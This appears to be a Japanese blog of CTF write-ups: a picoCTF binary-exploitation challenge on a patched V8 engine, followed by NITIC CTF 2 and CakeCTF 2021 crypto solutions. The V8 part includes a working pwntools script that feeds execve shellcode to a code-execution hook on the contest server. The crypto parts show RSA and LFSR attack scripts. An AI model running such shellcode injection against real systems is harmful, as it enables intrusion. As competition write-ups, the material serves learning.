picoCTF Kit Engine Writeup [Binary Exploitation]
Kit Engine
必要なファイルを一式ダウンロードして展開すると以下のようなファイルが確認できます。
ファイル一覧
. ├── d8 ├── server.py └── source ├── Dockerfile ├── REVISION ├── build.sh ├── compile.sh └── patch
server.py
が怪しそうなので中身を確認すると以下のようなコードになっていました。
server.py
#!/usr/bin/env python3 # With credit/inspiration to the v8 problem in downUnder CTF 2020 import os import subprocess import sys import tempfile def p(a): print(a, flush=True) MAX_SIZE = 20000 input_size = int(input("Provide size. Must be < 5k:")) if input_size >= MAX_SIZE: p(f"Received size of {input_size}, which is too big") sys.exit(-1) p(f"Provide script please!!") script_contents = sys.stdin.read(input_size) p(script_contents) # Don't buffer with tempfile.NamedTemporaryFile(buffering=0) as f: f.write(script_contents.encode("utf-8")) p("File written. Running. Timeout is 20s") res = subprocess.run(["./d8", f.name], timeout=20, stdout=subprocess.PIPE, stderr=subprocess.PIPE) p("Run Complete") p(f"Stdout {res.stdout}") p(f"Stderr {res.stderr}")
server.py
の動作を要約すると、以下のようになります。
- 標準入力から文字列を受け取り、
d8
に与えて実行
試しに、d8
を実行してみると以下のようにインタプリタが起動します。
$ ./d8 V8 version 9.1.0 (candidate) d8>
V8 version 9.1.0 (candidate)
という記述より、このプログラムがV8 JavaScript engineであることが分かります。
試しに、JavaScriptの文を入力してみると以下のようになります。
$ ./d8 V8 version 9.1.0 (candidate) d8> console.log("HELLO"); HELLO undefined d8>
source
ディレクトリの中のファイルを見るとd8
をビルドするための設定が記述されています。
Dockefile
の中にpatch
ファイルを用いてパッチを当てるような記述が存在します。
patch
ファイルを確認すると以下のようなコードが存在します。
void Shell::AssembleEngine(const v8::FunctionCallbackInfo<v8::Value>& args) { Isolate* isolate = args.GetIsolate(); if(args.Length() != 1) { return; } double *func = (double *)mmap(NULL, 4096, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); if (func == (double *)-1) { printf("Unable to allocate memory. Contact admin\n"); return; } if (args[0]->IsArray()) { Local<Array> arr = args[0].As<Array>(); Local<Value> element; for (uint32_t i = 0; i < arr->Length(); i++) { if (arr->Get(isolate->GetCurrentContext(), i).ToLocal(&element) && element->IsNumber()) { Local<Number> val = element.As<Number>(); func[i] = val->Value(); } } printf("Memory Dump. Watch your endianness!!:\n"); for (uint32_t i = 0; i < arr->Length(); i++) { printf("%d: float %f hex %lx\n", i, func[i], doubleToUint64_t(func[i])); } printf("Starting your engine!!\n"); void (*foo)() = (void(*)())func; foo(); } printf("Done\n"); }
上記のAssembleEngine
関数の動作を要約すると以下の通りです。
- 引数(
args
)としてdouble
型の配列を取得 args
をメモリ(func
)に配置func
を関数のバイナリであると解釈して実行
試しに、d8
を起動してAssembleEngine
と入力するとこの関数を呼び出せることが分かります。
$ ./d8 V8 version 9.1.0 (candidate) d8> AssembleEngine function AssembleEngine() { [native code] } d8> AssembleEngine([0.0]) Memory Dump. Watch your endianness!!: 0: float 0.000000 hex 0 Starting your engine!! Received signal 11 SEGV_MAPERR 000000000017 ==== C stack trace =============================== [0x56428fcd0cd7] [0x7f0b7147c3c0] [0x7f0b714c2000] [end of stack trace] Segmentation fault
上記のことから、バイナリをdouble
(JSだとnumber
)型の配列に変換し、AssembleEngine
関数に引数として与えてコールすれば任意のコードが実行できそうです。
そこで以下のコード(出典: picoCTF 2021 WriteUps | 廢文集中區)を利用し、execve("/bin/ls", ...)
やexecve("/bin/cat", ...)
のシェルコードをdouble
型配列に変換して、サーバに送信します。
from pwn import * import struct context.arch = "amd64" remote_port = 63943 def sc2dbls(sc): for i in range(0, len(sc), 8): blk = sc[i : i + 8] if len(blk) < 8: blk = blk + b"\0" * (8 - len(blk)) yield str(struct.unpack("<d", blk)[0]) def sc2js(sc): items = ", ".join(sc2dbls(sc)) assert not "nan" in items code = f"AssembleEngine([{items}])" return code def run_js_remote(code): p = remote("mercury.picoctf.net", remote_port) p.sendlineafter(b"Provide size", str(len(code))) p.sendlineafter(b"Provide script", code) return p.recvall().decode() ls = sc2js(asm(shellcraft.execve(b"/bin/ls", ["ls"]))) catflag = sc2js(asm(shellcraft.execve(b"/bin/cat", ["cat", "flag.txt"]))) print(run_js_remote(ls)) print(run_js_remote(catflag))
上記のプログラムのremote_port
を自分のものに合わせて実行するとFlagを獲得することができます。
NITIC CTF 2 Writeup [Crypto]
Caesar Cipher
フラグの中身がシーザー暗号で暗号化されています。 暗号化されたフラグの中身はfdhvduです。 nitic_ctf{復号したフラグの中身} を提出してください
とのことなので、rot13.comで適当にいじってROT10と特定し復号しました。
ord_xor
import os flag = os.environ["FLAG"] def xor(c: str, n: int) -> str: temp = ord(c) for _ in range(n): temp ^= n return chr(temp) enc_flag = "" for i in range(len(flag)): enc_flag += xor(flag[i], i) with open("./flag", "w") as f: f.write(enc_flag)
暗号化の関数xor(c, n)
はを回行っています。ここでが偶数のときxor()
への第一引数と返り値は同じになり、また奇数の場合でもをもう1回行えば復号できると考えられます。配布ファイルのxor()
をそのまま流用して復号しました。
def xor(c: str, n: int) -> str: temp = ord(c) for _ in range(n): temp ^= n return chr(temp) cipher = "nhtjcZcsfroydRx`rl" flag = "" for i in range(len(cipher)): flag += xor(cipher[i], i) print(flag)
tanitu_kanji
import os alphabets = "abcdefghijklmnopqrstuvwxyz0123456789{}_" after1 = "fl38ztrx6q027k9e5su}dwp{o_bynhm14aicjgv" after2 = "rho5b3k17pi_eytm2f94ujxsdvgcwl{}a086znq" format = os.environ["FORMAT"] flag = os.environ["FLAG"] assert len(format) == 10 def conv(s: str, table: str) -> str: res = "" for c in s: i = alphabets.index(c) res += table[i] return res for f in format: if f == "1": flag = conv(flag, after1) else: flag = conv(flag, after2) with open("./flag", "w") as file: file.write(flag)
暗号化の重要部conv(s, table)
はs
の各文字に対して、その文字がalphabets[i]
にあるときtable[i]
の文字と置き換えるという処理を行っています。table
として取りうるのはafter1
とafter2
の2つでformat
に沿って暗号化されているみたいです。
ここでformat
の長さが10でbit全探索で殴れることに注目し、あとは暗号化と逆の手順を行えばフラグを得ることができます。
alphabets = "abcdefghijklmnopqrstuvwxyz0123456789{}_" after1 = "fl38ztrx6q027k9e5su}dwp{o_bynhm14aicjgv" after2 = "rho5b3k17pi_eytm2f94ujxsdvgcwl{}a086znq" cipher = "l0d0pipdave0dia244im6fsp8x" def conv(s: str, table: str) -> str: res = "" for c in s: i = table.index(c) res += alphabets[i] return res for i in range(2**10): flag = cipher for j in range(10): if i & 1: flag = conv(flag, after1) else: flag = conv(flag, after2) i >>= 1 if "ctf{" in flag: print(flag)
summeRSA
from Crypto.Util.number import * from random import getrandbits with open("flag.txt", "rb") as f: flag = f.read() assert len(flag) == 18 p = getStrongPrime(512) q = getStrongPrime(512) N = p * q m = bytes_to_long(b"the magic words are squeamish ossifrage. " + flag) e = 7 d = pow(e, -1, (p - 1) * (q - 1)) c = pow(m, e, N) print(f"N = {N}") print(f"e = {e}") print(f"c = {c}")
自明stereo-typed message attack
です。既知部分としてthe magic words are squeamish ossifrage. nitic_ctf{
が与えられているので、そのまましゅっと復号します。
from Crypto.Util.number import * def stereotyped_message_attack(prefix, c): PR.<x> = PolynomialRing(Zmod(n)) f = (prefix + x)^e - c diff = f.small_roots(epsilon=1/40) if len(diff): return long_to_bytes(int(diff[0])) else: return "not found..." n = 139144195401291376287432009135228874425906733339426085480096768612837545660658559348449396096584313866982260011758274989304926271873352624836198271884781766711699496632003696533876991489994309382490275105164083576984076280280260628564972594554145121126951093422224357162795787221356643193605502890359266274703 e = 7 c = 137521057527189103425088525975824332594464447341686435497842858970204288096642253643188900933280120164271302965028579612429478072395471160529450860859037613781224232824152167212723936798704535757693154000462881802337540760439603751547377768669766050202387684717051899243124941875016108930932782472616565122310 prefix = "the magic words are squeamish ossifrage. nitic_ctf{" prefix = bytes_to_long(prefix.encode("utf-8")) << (8 * 8) print(stereotyped_message_attack(prefix, c))
CakeCTF 2021 Writeup [Crypto]
[Crypto] discrete_log
from Crypto.Util.number import getPrime, isPrime, getRandomRange def getSafePrime(bits): while True: p = getPrime(bits - 1) q = 2*p + 1 if isPrime(q): return q with open("flag.txt", "rb") as f: flag = f.read().strip() p = getSafePrime(512) g = getRandomRange(2, p) r = getRandomRange(2, p) cs = [] for m in flag: cs.append(pow(g, r*m, p)) print(p) print(g) print(cs)
512bitの素数と乱数を定義し、フラグの各バイト列に対してで暗号化を行っている。
暗号化の式は
となり、またフラグの頭CakeCTF{
であることから、Common Modules Attackと同じ要領でいい感じにを計算できる。
あとはフラグの各文字に対して0x20~0x7e
の総当たりで一位に定まるを計算すればいい。
と思ったけど、毎回Common Modules Attack回さなくてもいいじゃん。
import gmpy2, binascii from output import * # CakeCTF{*****} def culc(v1, v2): # https://gist.github.com/AkashiSN/81df83a26fd7c38efd55c5a2515ea9ff#file-common_modulus_attack-py n = p e1 = 101 e2 = v2 c1 = ciphers[3] c2 = v1 val = gmpy2.gcdext(e1,e2) if val[1] < 0: a = -val[1] b = val[2] c1_inv = gmpy2.invert(c1,n) c1a = pow(c1_inv, a, n) c2b = pow(c2, b, n) else: a = val[1] b = -val[2] c2_inv = gmpy2.invert(c2,n) c1a = pow(c1, a, n) c2b = pow(c2_inv, b, n) m = (c1a * c2b)%n m,result = gmpy2.iroot(m,val[0]) return m ans = culc(ciphers[0], 67) for cipher in ciphers: for i in range(200): if culc(cipher, i) == ans: print(chr(i), end="") break else: print("e", end="") print("") # CakeCTF{4h4_p14in73x7_5p4c3_i5_7000000_5m411}
[Crypto] together_as_one
from Crypto.Util.number import getStrongPrime, bytes_to_long p = getStrongPrime(512) q = getStrongPrime(512) r = getStrongPrime(512) n = p*q*r x = pow(p + q, r, n) y = pow(p + q*r, r, n) m = bytes_to_long(open("./flag.txt", "rb").read()) assert m.bit_length() > 512 c = pow(m, 0x10001, n) print(f"{n = :#x}") print(f"{c = :#x}") print(f"{x = :#x}") print(f"{y = :#x}")
素数1つ求めた以降が分からなかった。 平文だけでなく、因数も一緒に暗号化してるタイプの問題。
の式は二項定理より、
となる。ここでの式の以外の二項係数はの倍数になりを因数に含むことから法に引っかかり0になる。 またの式の以外の項はを因数に含むので、0になる。
ここでについて考えてみると、
となるので、はの倍数であることがわかる(⇔となる)。また、
となり、と求めることができる。
これでが素因数分解できたので、あとはしゅっとやって終わり。
from Crypto.Util.number import * from output import x, y, n, c q = GCD(x-y, n) r = GCD((x-y) // q - 1, n) p = n // q // r assert p*q*r == n phi = (p - 1) * (q - 1) * (r - 1) e = 65537 d = inverse(e, phi) m = pow(c, d, n) print(long_to_bytes(m))
[Crypto] improvisation
import random def LFSR(): r = random.randrange(1 << 64) while True: yield r & 1 b = (r & 1) ^\ ((r & 2) >> 1) ^\ ((r & 8) >> 3) ^\ ((r & 16) >> 4) r = (r >> 1) | (b << 63) if __name__ == '__main__': with open("flag.txt", "rb") as f: flag = f.read() assert flag.startswith(b'CakeCTF{') m = int.from_bytes(flag, 'little') lfsr = LFSR() c = 0 while m: c = (c << 1) | ((m & 1) ^ next(lfsr)) m >>= 1 print(hex(c))
LFSR(線形帰還シフトレジスタ)で乱数を生成し、XORしている。先入観でcipher
はビッグエンディアンだと勘違いしてしまい、開催期間中に解くことができなかった…
LFSRの状態を復元して終わり。
from Crypto.Util.number import * def LFSR(r): while True: yield r & 1 b = (r & 1) ^\ ((r & 2) >> 1) ^\ ((r & 8) >> 3) ^\ ((r & 16) >> 4) r = (r >> 1) | (b << 63) cipher = 0x58566f59979e98e5f2f3ecea26cfb0319bc9186e206d6b33e933f3508e39e41bb771e4af053 cipher = int(bin(cipher)[2:][::-1], 2) << 1 prefix = bytes_to_long("CakeCTF{"[::-1].encode()) lfsr = LFSR((cipher & (2**64 - 1)) ^ prefix) length = cipher.bit_length() key = 0 for i in range(length): key += next(lfsr) * 2**i m = key ^ cipher print(long_to_bytes(m).decode()[::-1])